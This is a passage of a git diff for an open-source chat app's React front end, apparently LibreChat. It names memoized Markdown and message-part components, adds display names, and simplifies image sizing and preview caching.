const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => {
|
const Markdown = memo(function Markdown({ content = '', isLatestMessage }: TContentProps) {
|
||||||
const LaTeXParsing = useRecoilValue<boolean>(store.LaTeXParsing);
|
const LaTeXParsing = useRecoilValue<boolean>(store.LaTeXParsing);
|
||||||
const isInitializing = content === '';
|
const isInitializing = content === '';
|
||||||
|
|
||||||
|
|
@ -106,5 +106,6 @@ const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => {
|
||||||
</MarkdownErrorBoundary>
|
</MarkdownErrorBoundary>
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
Markdown.displayName = 'Markdown';
|
||||||
|
|
||||||
export default Markdown;
|
export default Markdown;
|
||||||
|
|
|
||||||
|
|
@ -18,7 +18,10 @@ type TCodeProps = {
|
||||||
children: React.ReactNode;
|
children: React.ReactNode;
|
||||||
};
|
};
|
||||||
|
|
||||||
export const code: React.ElementType = memo(({ className, children }: TCodeProps) => {
|
export const code: React.ElementType = memo(function MarkdownCode({
|
||||||
|
className,
|
||||||
|
children,
|
||||||
|
}: TCodeProps) {
|
||||||
const canRunCode = useHasAccess({
|
const canRunCode = useHasAccess({
|
||||||
permissionType: PermissionTypes.RUN_CODE,
|
permissionType: PermissionTypes.RUN_CODE,
|
||||||
permission: Permissions.USE,
|
permission: Permissions.USE,
|
||||||
|
|
@ -62,8 +65,12 @@ export const code: React.ElementType = memo(({ className, children }: TCodeProps
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
code.displayName = 'MarkdownCode';
|
||||||
|
|
||||||
export const codeNoExecution: React.ElementType = memo(({ className, children }: TCodeProps) => {
|
export const codeNoExecution: React.ElementType = memo(function MarkdownCodeNoExecution({
|
||||||
|
className,
|
||||||
|
children,
|
||||||
|
}: TCodeProps) {
|
||||||
const match = /language-(\w+)/.exec(className ?? '');
|
const match = /language-(\w+)/.exec(className ?? '');
|
||||||
const lang = match && match[1];
|
const lang = match && match[1];
|
||||||
|
|
||||||
|
|
@ -82,13 +89,14 @@ export const codeNoExecution: React.ElementType = memo(({ className, children }:
|
||||||
return <CodeBlock lang={lang ?? 'text'} codeChildren={children} allowExecution={false} />;
|
return <CodeBlock lang={lang ?? 'text'} codeChildren={children} allowExecution={false} />;
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
codeNoExecution.displayName = 'MarkdownCodeNoExecution';
|
||||||
|
|
||||||
type TAnchorProps = {
|
type TAnchorProps = {
|
||||||
href: string;
|
href: string;
|
||||||
children: React.ReactNode;
|
children: React.ReactNode;
|
||||||
};
|
};
|
||||||
|
|
||||||
export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
|
export const a: React.ElementType = memo(function MarkdownAnchor({ href, children }: TAnchorProps) {
|
||||||
const user = useRecoilValue(store.user);
|
const user = useRecoilValue(store.user);
|
||||||
const { showToast } = useToastContext();
|
const { showToast } = useToastContext();
|
||||||
const localize = useLocalize();
|
const localize = useLocalize();
|
||||||
|
|
@ -163,14 +171,16 @@ export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
|
||||||
</a>
|
</a>
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
a.displayName = 'MarkdownAnchor';
|
||||||
|
|
||||||
type TParagraphProps = {
|
type TParagraphProps = {
|
||||||
children: React.ReactNode;
|
children: React.ReactNode;
|
||||||
};
|
};
|
||||||
|
|
||||||
export const p: React.ElementType = memo(({ children }: TParagraphProps) => {
|
export const p: React.ElementType = memo(function MarkdownParagraph({ children }: TParagraphProps) {
|
||||||
return <p className="mb-2 whitespace-pre-wrap">{children}</p>;
|
return <p className="mb-2 whitespace-pre-wrap">{children}</p>;
|
||||||
});
|
});
|
||||||
|
p.displayName = 'MarkdownParagraph';
|
||||||
|
|
||||||
type TImageProps = {
|
type TImageProps = {
|
||||||
src?: string;
|
src?: string;
|
||||||
|
|
@ -180,7 +190,13 @@ type TImageProps = {
|
||||||
style?: React.CSSProperties;
|
style?: React.CSSProperties;
|
||||||
};
|
};
|
||||||
|
|
||||||
export const img: React.ElementType = memo(({ src, alt, title, className, style }: TImageProps) => {
|
export const img: React.ElementType = memo(function MarkdownImage({
|
||||||
|
src,
|
||||||
|
alt,
|
||||||
|
title,
|
||||||
|
className,
|
||||||
|
style,
|
||||||
|
}: TImageProps) {
|
||||||
// Get the base URL from the API endpoints
|
// Get the base URL from the API endpoints
|
||||||
const baseURL = apiBaseUrl();
|
const baseURL = apiBaseUrl();
|
||||||
|
|
||||||
|
|
@ -199,3 +215,4 @@ export const img: React.ElementType = memo(({ src, alt, title, className, style
|
||||||
|
|
||||||
return <img src={fixedSrc} alt={alt} title={title} className={className} style={style} />;
|
return <img src={fixedSrc} alt={alt} title={title} className={className} style={style} />;
|
||||||
});
|
});
|
||||||
|
img.displayName = 'MarkdownImage';
|
||||||
|
|
|
||||||
|
|
@ -185,4 +185,7 @@ const MessageContent = ({
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|
||||||
export default memo(MessageContent);
|
const MemoizedMessageContent = memo(MessageContent);
|
||||||
|
MemoizedMessageContent.displayName = 'MessageContent';
|
||||||
|
|
||||||
|
export default MemoizedMessageContent;
|
||||||
|
|
|
||||||
|
|
@ -11,6 +11,7 @@ import type { TMessageContentParts, TAttachment } from 'librechat-data-provider'
|
||||||
import { OpenAIImageGen, EmptyText, Reasoning, ExecuteCode, AgentUpdate, Text } from './Parts';
|
import { OpenAIImageGen, EmptyText, Reasoning, ExecuteCode, AgentUpdate, Text } from './Parts';
|
||||||
import { ErrorMessage } from './MessageContent';
|
import { ErrorMessage } from './MessageContent';
|
||||||
import RetrievalCall from './RetrievalCall';
|
import RetrievalCall from './RetrievalCall';
|
||||||
|
import { getCachedPreview } from '~/utils';
|
||||||
import AgentHandoff from './AgentHandoff';
|
import AgentHandoff from './AgentHandoff';
|
||||||
import CodeAnalyze from './CodeAnalyze';
|
import CodeAnalyze from './CodeAnalyze';
|
||||||
import Container from './Container';
|
import Container from './Container';
|
||||||
|
|
@ -28,212 +29,213 @@ type PartProps = {
|
||||||
attachments?: TAttachment[];
|
attachments?: TAttachment[];
|
||||||
};
|
};
|
||||||
|
|
||||||
const Part = memo(
|
const Part = memo(function Part({
|
||||||
({ part, isSubmitting, attachments, isLast, showCursor, isCreatedByUser }: PartProps) => {
|
part,
|
||||||
if (!part) {
|
isSubmitting,
|
||||||
|
attachments,
|
||||||
|
isLast,
|
||||||
|
showCursor,
|
||||||
|
isCreatedByUser,
|
||||||
|
}: PartProps) {
|
||||||
|
if (!part) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (part.type === ContentTypes.ERROR) {
|
||||||
|
return (
|
||||||
|
<ErrorMessage
|
||||||
|
text={
|
||||||
|
part[ContentTypes.ERROR] ??
|
||||||
|
(typeof part[ContentTypes.TEXT] === 'string'
|
||||||
|
? part[ContentTypes.TEXT]
|
||||||
|
: part.text?.value) ??
|
||||||
|
''
|
||||||
|
}
|
||||||
|
className="my-2"
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
} else if (part.type === ContentTypes.AGENT_UPDATE) {
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
<AgentUpdate currentAgentId={part[ContentTypes.AGENT_UPDATE]?.agentId} />
|
||||||
|
{isLast && showCursor && (
|
||||||
|
<Container>
|
||||||
|
<EmptyText />
|
||||||
|
</Container>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
} else if (part.type === ContentTypes.TEXT) {
|
||||||
|
const text = typeof part.text === 'string' ? part.text : part.text?.value;
|
||||||
|
|
||||||
|
if (typeof text !== 'string') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (part.tool_call_ids != null && !text) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
/** Handle whitespace-only text to avoid layout shift */
|
||||||
|
if (text.length > 0 && /^\s*$/.test(text)) {
|
||||||
|
/** Show placeholder for whitespace-only last part during streaming */
|
||||||
|
if (isLast && showCursor) {
|
||||||
|
return (
|
||||||
|
<Container>
|
||||||
|
<EmptyText />
|
||||||
|
</Container>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
/** Skip rendering non-last whitespace-only parts to avoid empty Container */
|
||||||
|
if (!isLast) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return (
|
||||||
|
<Container>
|
||||||
|
<Text text={text} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
|
||||||
|
</Container>
|
||||||
|
);
|
||||||
|
} else if (part.type === ContentTypes.THINK) {
|
||||||
|
const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
|
||||||
|
if (typeof reasoning !== 'string') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return <Reasoning reasoning={reasoning} isLast={isLast ?? false} />;
|
||||||
|
} else if (part.type === ContentTypes.TOOL_CALL) {
|
||||||
|
const toolCall = part[ContentTypes.TOOL_CALL];
|
||||||
|
|
||||||
|
if (!toolCall) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (part.type === ContentTypes.ERROR) {
|
const isToolCall =
|
||||||
|
'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
|
||||||
|
if (
|
||||||
|
isToolCall &&
|
||||||
|
(toolCall.name === Tools.execute_code ||
|
||||||
|
toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
|
||||||
|
) {
|
||||||
return (
|
return (
|
||||||
<ErrorMessage
|
<ExecuteCode
|
||||||
text={
|
attachments={attachments}
|
||||||
part[ContentTypes.ERROR] ??
|
isSubmitting={isSubmitting}
|
||||||
(typeof part[ContentTypes.TEXT] === 'string'
|
output={toolCall.output ?? ''}
|
||||||
? part[ContentTypes.TEXT]
|
initialProgress={toolCall.progress ?? 0.1}
|
||||||
: part.text?.value) ??
|
args={typeof toolCall.args === 'string' ? toolCall.args : ''}
|
||||||
''
|
|
||||||
}
|
|
||||||
className="my-2"
|
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
} else if (part.type === ContentTypes.AGENT_UPDATE) {
|
} else if (
|
||||||
|
isToolCall &&
|
||||||
|
(toolCall.name === 'image_gen_oai' ||
|
||||||
|
toolCall.name === 'image_edit_oai' ||
|
||||||
|
toolCall.name === 'gemini_image_gen')
|
||||||
|
) {
|
||||||
return (
|
return (
|
||||||
<>
|
<OpenAIImageGen
|
||||||
<AgentUpdate currentAgentId={part[ContentTypes.AGENT_UPDATE]?.agentId} />
|
initialProgress={toolCall.progress ?? 0.1}
|
||||||
{isLast && showCursor && (
|
isSubmitting={isSubmitting}
|
||||||
<Container>
|
toolName={toolCall.name}
|
||||||
<EmptyText />
|
args={typeof toolCall.args === 'string' ? toolCall.args : ''}
|
||||||
</Container>
|
output={toolCall.output ?? ''}
|
||||||
)}
|
attachments={attachments}
|
||||||
</>
|
/>
|
||||||
);
|
);
|
||||||
} else if (part.type === ContentTypes.TEXT) {
|
} else if (isToolCall && toolCall.name === Tools.web_search) {
|
||||||
const text = typeof part.text === 'string' ? part.text : part.text?.value;
|
return (
|
||||||
|
<WebSearch
|
||||||
if (typeof text !== 'string') {
|
output={toolCall.output ?? ''}
|
||||||
return null;
|
initialProgress={toolCall.progress ?? 0.1}
|
||||||
}
|
isSubmitting={isSubmitting}
|
||||||
if (part.tool_call_ids != null && !text) {
|
attachments={attachments}
|
||||||
return null;
|
isLast={isLast}
|
||||||
}
|
/>
|
||||||
/** Handle whitespace-only text to avoid layout shift */
|
);
|
||||||
if (text.length > 0 && /^\s*$/.test(text)) {
|
} else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
|
||||||
/** Show placeholder for whitespace-only last part during streaming */
|
return (
|
||||||
if (isLast && showCursor) {
|
<AgentHandoff
|
||||||
|
args={toolCall.args ?? ''}
|
||||||
|
name={toolCall.name || ''}
|
||||||
|
output={toolCall.output ?? ''}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
} else if (isToolCall) {
|
||||||
|
return (
|
||||||
|
<ToolCall
|
||||||
|
args={toolCall.args ?? ''}
|
||||||
|
name={toolCall.name || ''}
|
||||||
|
output={toolCall.output ?? ''}
|
||||||
|
initialProgress={toolCall.progress ?? 0.1}
|
||||||
|
isSubmitting={isSubmitting}
|
||||||
|
attachments={attachments}
|
||||||
|
auth={toolCall.auth}
|
||||||
|
expires_at={toolCall.expires_at}
|
||||||
|
isLast={isLast}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
} else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
|
||||||
|
const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
|
||||||
|
return (
|
||||||
|
<CodeAnalyze
|
||||||
|
initialProgress={toolCall.progress ?? 0.1}
|
||||||
|
code={code_interpreter.input}
|
||||||
|
outputs={code_interpreter.outputs ?? []}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
} else if (
|
||||||
|
toolCall.type === ToolCallTypes.RETRIEVAL ||
|
||||||
|
toolCall.type === ToolCallTypes.FILE_SEARCH
|
||||||
|
) {
|
||||||
|
return (
|
||||||
|
<RetrievalCall initialProgress={toolCall.progress ?? 0.1} isSubmitting={isSubmitting} />
|
||||||
|
);
|
||||||
|
} else if (
|
||||||
|
toolCall.type === ToolCallTypes.FUNCTION &&
|
||||||
|
ToolCallTypes.FUNCTION in toolCall &&
|
||||||
|
imageGenTools.has(toolCall.function.name)
|
||||||
|
) {
|
||||||
|
return (
|
||||||
|
<ImageGen
|
||||||
|
initialProgress={toolCall.progress ?? 0.1}
|
||||||
|
args={toolCall.function.arguments as string}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
} else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
|
||||||
|
if (isImageVisionTool(toolCall)) {
|
||||||
|
if (isSubmitting && showCursor) {
|
||||||
return (
|
return (
|
||||||
<Container>
|
<Container>
|
||||||
<EmptyText />
|
<Text text={''} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
|
||||||
</Container>
|
</Container>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
/** Skip rendering non-last whitespace-only parts to avoid empty Container */
|
|
||||||
if (!isLast) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return (
|
|
||||||
<Container>
|
|
||||||
<Text text={text} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
|
|
||||||
</Container>
|
|
||||||
);
|
|
||||||
} else if (part.type === ContentTypes.THINK) {
|
|
||||||
const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
|
|
||||||
if (typeof reasoning !== 'string') {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
return <Reasoning reasoning={reasoning} isLast={isLast ?? false} />;
|
|
||||||
} else if (part.type === ContentTypes.TOOL_CALL) {
|
|
||||||
const toolCall = part[ContentTypes.TOOL_CALL];
|
|
||||||
|
|
||||||
if (!toolCall) {
|
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
const isToolCall =
|
|
||||||
'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
|
|
||||||
if (
|
|
||||||
isToolCall &&
|
|
||||||
(toolCall.name === Tools.execute_code ||
|
|
||||||
toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
|
|
||||||
) {
|
|
||||||
return (
|
|
||||||
<ExecuteCode
|
|
||||||
attachments={attachments}
|
|
||||||
isSubmitting={isSubmitting}
|
|
||||||
output={toolCall.output ?? ''}
|
|
||||||
initialProgress={toolCall.progress ?? 0.1}
|
|
||||||
args={typeof toolCall.args === 'string' ? toolCall.args : ''}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
} else if (
|
|
||||||
isToolCall &&
|
|
||||||
(toolCall.name === 'image_gen_oai' ||
|
|
||||||
toolCall.name === 'image_edit_oai' ||
|
|
||||||
toolCall.name === 'gemini_image_gen')
|
|
||||||
) {
|
|
||||||
return (
|
|
||||||
<OpenAIImageGen
|
|
||||||
initialProgress={toolCall.progress ?? 0.1}
|
|
||||||
isSubmitting={isSubmitting}
|
|
||||||
toolName={toolCall.name}
|
|
||||||
args={typeof toolCall.args === 'string' ? toolCall.args : ''}
|
|
||||||
output={toolCall.output ?? ''}
|
|
||||||
attachments={attachments}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
} else if (isToolCall && toolCall.name === Tools.web_search) {
|
|
||||||
return (
|
|
||||||
<WebSearch
|
|
||||||
output={toolCall.output ?? ''}
|
|
||||||
initialProgress={toolCall.progress ?? 0.1}
|
|
||||||
isSubmitting={isSubmitting}
|
|
||||||
attachments={attachments}
|
|
||||||
isLast={isLast}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
} else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
|
|
||||||
return (
|
|
||||||
<AgentHandoff
|
|
||||||
args={toolCall.args ?? ''}
|
|
||||||
name={toolCall.name || ''}
|
|
||||||
output={toolCall.output ?? ''}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
} else if (isToolCall) {
|
|
||||||
return (
|
|
||||||
<ToolCall
|
|
||||||
args={toolCall.args ?? ''}
|
|
||||||
name={toolCall.name || ''}
|
|
||||||
output={toolCall.output ?? ''}
|
|
||||||
initialProgress={toolCall.progress ?? 0.1}
|
|
||||||
isSubmitting={isSubmitting}
|
|
||||||
attachments={attachments}
|
|
||||||
auth={toolCall.auth}
|
|
||||||
expires_at={toolCall.expires_at}
|
|
||||||
isLast={isLast}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
} else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
|
|
||||||
const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
|
|
||||||
return (
|
|
||||||
<CodeAnalyze
|
|
||||||
initialProgress={toolCall.progress ?? 0.1}
|
|
||||||
code={code_interpreter.input}
|
|
||||||
outputs={code_interpreter.outputs ?? []}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
} else if (
|
|
||||||
toolCall.type === ToolCallTypes.RETRIEVAL ||
|
|
||||||
toolCall.type === ToolCallTypes.FILE_SEARCH
|
|
||||||
) {
|
|
||||||
return (
|
|
||||||
<RetrievalCall initialProgress={toolCall.progress ?? 0.1} isSubmitting={isSubmitting} />
|
|
||||||
);
|
|
||||||
} else if (
|
|
||||||
toolCall.type === ToolCallTypes.FUNCTION &&
|
|
||||||
ToolCallTypes.FUNCTION in toolCall &&
|
|
||||||
imageGenTools.has(toolCall.function.name)
|
|
||||||
) {
|
|
||||||
return (
|
|
||||||
<ImageGen
|
|
||||||
initialProgress={toolCall.progress ?? 0.1}
|
|
||||||
args={toolCall.function.arguments as string}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
} else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
|
|
||||||
if (isImageVisionTool(toolCall)) {
|
|
||||||
if (isSubmitting && showCursor) {
|
|
||||||
return (
|
|
||||||
<Container>
|
|
||||||
<Text text={''} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
|
|
||||||
</Container>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
return (
|
|
||||||
<ToolCall
|
|
||||||
initialProgress={toolCall.progress ?? 0.1}
|
|
||||||
isSubmitting={isSubmitting}
|
|
||||||
args={toolCall.function.arguments as string}
|
|
||||||
name={toolCall.function.name}
|
|
||||||
output={toolCall.function.output}
|
|
||||||
isLast={isLast}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
} else if (part.type === ContentTypes.IMAGE_FILE) {
|
|
||||||
const imageFile = part[ContentTypes.IMAGE_FILE];
|
|
||||||
const height = imageFile.height ?? 1920;
|
|
||||||
const width = imageFile.width ?? 1080;
|
|
||||||
return (
|
return (
|
||||||
<Image
|
<ToolCall
|
||||||
imagePath={imageFile.filepath}
|
initialProgress={toolCall.progress ?? 0.1}
|
||||||
height={height}
|
isSubmitting={isSubmitting}
|
||||||
width={width}
|
args={toolCall.function.arguments as string}
|
||||||
altText={imageFile.filename ?? 'Uploaded Image'}
|
name={toolCall.function.name}
|
||||||
placeholderDimensions={{
|
output={toolCall.function.output}
|
||||||
height: height + 'px',
|
isLast={isLast}
|
||||||
width: width + 'px',
|
|
||||||
}}
|
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
} else if (part.type === ContentTypes.IMAGE_FILE) {
|
||||||
|
const imageFile = part[ContentTypes.IMAGE_FILE];
|
||||||
|
const cached = imageFile.file_id ? getCachedPreview(imageFile.file_id) : undefined;
|
||||||
|
return (
|
||||||
|
<Image
|
||||||
|
imagePath={cached ?? imageFile.filepath}
|
||||||
|
altText={imageFile.filename ?? 'Uploaded Image'}
|
||||||
|
width={imageFile.width}
|
||||||
|
height={imageFile.height}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
return null;
|
return null;
|
||||||
},
|
});
|
||||||
);
|
Part.displayName = 'Part';
|
||||||
|
|
||||||
export default Part;
|
export default Part;
|
||||||
|
|
|
||||||
|
|
@ -76,8 +76,8 @@ const ImageAttachment = memo(({ attachment }: { attachment: TAttachment }) => {
|
||||||
<Image
|
<Image
|
||||||
altText={attachment.filename || 'attachment image'}
|
altText={attachment.filename || 'attachment image'}
|
||||||
imagePath={filepath ?? ''}
|
imagePath={filepath ?? ''}
|
||||||
height={height ?? 0}
|
width={width}
|
||||||
width={width ?? 0}
|
height={height}
|
||||||
className="mb-4"
|
className="mb-4"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
|
|
|
||||||
|
|
@ -1,8 +1,9 @@
|
||||||
import { memo } from 'react';
|
import { memo } from 'react';
|
||||||
|
|
||||||
|
/** Streaming cursor placeholder — no bottom margin to match Container's structure and prevent CLS */
|
||||||
const EmptyTextPart = memo(() => {
|
const EmptyTextPart = memo(() => {
|
||||||
return (
|
return (
|
||||||
<div className="text-message mb-[0.625rem] flex min-h-[20px] flex-col items-start gap-3 overflow-visible">
|
<div className="text-message flex min-h-[20px] flex-col items-start gap-3 overflow-visible">
|
||||||
<div className="markdown prose dark:prose-invert light w-full break-words dark:text-gray-100">
|
<div className="markdown prose dark:prose-invert light w-full break-words dark:text-gray-100">
|
||||||
<div className="absolute">
|
<div className="absolute">
|
||||||
<p className="submitting relative">
|
<p className="submitting relative">
|
||||||
|
|
|
||||||
|
|
@ -12,11 +12,7 @@ interface LogContentProps {
|
||||||
attachments?: TAttachment[];
|
attachments?: TAttachment[];
|
||||||
}
|
}
|
||||||
|
|
||||||
type ImageAttachment = TFile &
|
type ImageAttachment = TFile & TAttachmentMetadata;
|
||||||
TAttachmentMetadata & {
|
|
||||||
height: number;
|
|
||||||
width: number;
|
|
||||||
};
|
|
||||||
|
|
||||||
const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, attachments }) => {
|
const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, attachments }) => {
|
||||||
const localize = useLocalize();
|
const localize = useLocalize();
|
||||||
|
|
@ -35,12 +31,8 @@ const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, atta
|
||||||
const nonImageAtts: TAttachment[] = [];
|
const nonImageAtts: TAttachment[] = [];
|
||||||
|
|
||||||
attachments?.forEach((attachment) => {
|
attachments?.forEach((attachment) => {
|
||||||
const { width, height, filepath = null } = attachment as TFile & TAttachmentMetadata;
|
const { filepath = null } = attachment as TFile & TAttachmentMetadata;
|
||||||
const isImage =
|
const isImage = imageExtRegex.test(attachment.filename ?? '') && filepath != null;
|
||||||
imageExtRegex.test(attachment.filename ?? '') &&
|
|
||||||
width != null &&
|
|
||||||
height != null &&
|
|
||||||
filepath != null;
|
|
||||||
if (isImage) {
|
if (isImage) {
|
||||||
imageAtts.push(attachment as ImageAttachment);
|
imageAtts.push(attachment as ImageAttachment);
|
||||||
} else {
|
} else {
|
||||||
|
|
@ -100,18 +92,15 @@ const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, atta
|
||||||
))}
|
))}
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
{imageAttachments?.map((attachment, index) => {
|
{imageAttachments?.map((attachment) => (
|
||||||
const { width, height, filepath } = attachment;
|
<Image
|
||||||
return (
|
width={attachment.width}
|
||||||
<Image
|
height={attachment.height}
|
||||||
key={index}
|
key={attachment.filepath}
|
||||||
altText={attachment.filename}
|
altText={attachment.filename}
|
||||||
imagePath={filepath}
|
imagePath={attachment.filepath}
|
||||||
height={height}
|
/>
|
||||||
width={width}
|
))}
|
||||||
/>
|
|
||||||
);
|
|
||||||
})}
|
|
||||||
</>
|
</>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -1,9 +1,12 @@
|
||||||
import { useState, useEffect, useRef, useCallback } from 'react';
|
import { useState, useEffect, useRef } from 'react';
|
||||||
import { PixelCard } from '@librechat/client';
|
import { PixelCard } from '@librechat/client';
|
||||||
import type { TAttachment, TFile, TAttachmentMetadata } from 'librechat-data-provider';
|
import type { TAttachment, TFile, TAttachmentMetadata } from 'librechat-data-provider';
|
||||||
import Image from '~/components/Chat/Messages/Content/Image';
|
import Image from '~/components/Chat/Messages/Content/Image';
|
||||||
import ProgressText from './ProgressText';
|
import ProgressText from './ProgressText';
|
||||||
import { scaleImage } from '~/utils';
|
import { cn } from '~/utils';
|
||||||
|
|
||||||
|
const IMAGE_MAX_H = 'max-h-[45vh]' as const;
|
||||||
|
const IMAGE_FULL_H = 'h-[45vh]' as const;
|
||||||
|
|
||||||
export default function OpenAIImageGen({
|
export default function OpenAIImageGen({
|
||||||
initialProgress = 0.1,
|
initialProgress = 0.1,
|
||||||
|
|
@ -28,8 +31,6 @@ export default function OpenAIImageGen({
|
||||||
|
|
||||||
const cancelled = (!isSubmitting && initialProgress < 1) || error === true;
|
const cancelled = (!isSubmitting && initialProgress < 1) || error === true;
|
||||||
|
|
||||||
let width: number | undefined;
|
|
||||||
let height: number | undefined;
|
|
||||||
let quality: 'low' | 'medium' | 'high' = 'high';
|
let quality: 'low' | 'medium' | 'high' = 'high';
|
||||||
|
|
||||||
// Parse args if it's a string
|
// Parse args if it's a string
|
||||||
|
|
@ -41,62 +42,21 @@ export default function OpenAIImageGen({
|
||||||
parsedArgs = {};
|
parsedArgs = {};
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
if (parsedArgs && typeof parsedArgs.quality === 'string') {
|
||||||
const argsObj = parsedArgs;
|
const q = parsedArgs.quality.toLowerCase();
|
||||||
|
if (q === 'low' || q === 'medium' || q === 'high') {
|
||||||
if (argsObj && typeof argsObj.size === 'string') {
|
quality = q;
|
||||||
const [w, h] = argsObj.size.split('x').map((v: string) => parseInt(v, 10));
|
|
||||||
if (!isNaN(w) && !isNaN(h)) {
|
|
||||||
width = w;
|
|
||||||
height = h;
|
|
||||||
}
|
|
||||||
} else if (argsObj && (typeof argsObj.size !== 'string' || !argsObj.size)) {
|
|
||||||
width = undefined;
|
|
||||||
height = undefined;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (argsObj && typeof argsObj.quality === 'string') {
|
|
||||||
const q = argsObj.quality.toLowerCase();
|
|
||||||
if (q === 'low' || q === 'medium' || q === 'high') {
|
|
||||||
quality = q;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (e) {
|
|
||||||
width = undefined;
|
|
||||||
height = undefined;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Default to 1024x1024 if width and height are still undefined after parsing args and attachment metadata
|
|
||||||
const attachment = attachments?.[0];
|
const attachment = attachments?.[0];
|
||||||
const {
|
const {
|
||||||
width: imageWidth,
|
|
||||||
height: imageHeight,
|
|
||||||
filepath = null,
|
filepath = null,
|
||||||
filename = '',
|
filename = '',
|
||||||
|
width: imgWidth,
|
||||||
|
height: imgHeight,
|
||||||
} = (attachment as TFile & TAttachmentMetadata) || {};
|
} = (attachment as TFile & TAttachmentMetadata) || {};
|
||||||
|
|
||||||
let origWidth = width ?? imageWidth;
|
|
||||||
let origHeight = height ?? imageHeight;
|
|
||||||
|
|
||||||
if (origWidth === undefined || origHeight === undefined) {
|
|
||||||
origWidth = 1024;
|
|
||||||
origHeight = 1024;
|
|
||||||
}
|
|
||||||
|
|
||||||
const [dimensions, setDimensions] = useState({ width: 'auto', height: 'auto' });
|
|
||||||
const containerRef = useRef<HTMLDivElement>(null);
|
|
||||||
|
|
||||||
const updateDimensions = useCallback(() => {
|
|
||||||
if (origWidth && origHeight && containerRef.current) {
|
|
||||||
const scaled = scaleImage({
|
|
||||||
originalWidth: origWidth,
|
|
||||||
originalHeight: origHeight,
|
|
||||||
containerRef,
|
|
||||||
});
|
|
||||||
setDimensions(scaled);
|
|
||||||
}
|
|
||||||
}, [origWidth, origHeight]);
|
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (isSubmitting) {
|
if (isSubmitting) {
|
||||||
setProgress(initialProgress);
|
setProgress(initialProgress);
|
||||||
|
|
@ -156,45 +116,21 @@ export default function OpenAIImageGen({
|
||||||
}
|
}
|
||||||
}, [initialProgress, cancelled]);
|
}, [initialProgress, cancelled]);
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
updateDimensions();
|
|
||||||
|
|
||||||
const resizeObserver = new ResizeObserver(() => {
|
|
||||||
updateDimensions();
|
|
||||||
});
|
|
||||||
|
|
||||||
if (containerRef.current) {
|
|
||||||
resizeObserver.observe(containerRef.current);
